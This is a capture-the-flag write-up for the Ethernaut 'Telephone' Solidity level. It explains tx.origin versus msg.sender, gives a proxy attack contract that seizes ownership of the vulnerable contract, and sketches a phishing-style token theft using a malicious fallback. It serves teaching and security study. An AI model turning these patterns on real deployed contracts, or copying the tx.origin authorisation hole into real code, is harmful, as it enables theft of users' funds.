✅Telephone
tx.origin
Description
Claim ownership of the contract below to complete this level.
Things that might help:
See the Help page above, section "Beyond the console"
Background Knowledge
tx.origin
tx.origin
tx.origin
is like msg.sender
, but it is vulnerable.
tx.origin
:the original user wallet that initiated the transaction
the origin address of potentially an entire chain of transactions and calls
only user wallet addresses can be the
tx.origin
, not contract address
msg.sender
:both user wallets and smart contracts can be the
msg.sender
checks where the external function call directly came from
Code Audit
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
To hack the contract and claim ownership all we need to do is to create a new malicious contract and encourage the owner to call a specific function that under the hood will change the ownership. Let's think about that like a phishing attack.
Solution
Write a "proxy" contract in Remix IDE:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import './Telephone.sol';
contract TelephoneAttack {
Telephone telephone;
constructor(address _address) public {
telephone = Telephone(_address);
}
function changeOwner(address _address) public {
telephone.changeOwner(_address);
}
}
When we call changeOwner()
from the TelephoneAttack
contract, tx.origin
is our Metamask wallet address. When telephone.changeOwner(_address)
is triggered, msg.sender
is address of the TelephoneAttack
contract. This satisfies the if (tx.origin != msg.sender)
check and thus owner
will be updated to the _owner
argument we passed into the changeOwner()
function call.
Deploy it and feed in the original contract address:

Feed in your Metamask wallet address and click "changeOwner":

Click "Submit instance" and move on to the next level.
Summary
While this example may be simple, confusing tx.origin
with msg.sender
can lead to phishing-style attacks, such as this.
An example of a possible attack is outlined below.
Use
tx.origin
to determine whose tokens to transfer, e.g.
function transfer(address _to, uint _value) {
tokens[tx.origin] -= _value;
tokens[_to] += _value;
}
Attacker gets victim to send funds to a malicious contract that calls the transfer function of the token contract, e.g.
function () payable {
token.transfer(attackerAddress, 10000);
}
In this scenario,
tx.origin
will be the victim's address (whilemsg.sender
will be the malicious contract's address), resulting in the funds being transferred from the victim to the attacker.
Last updated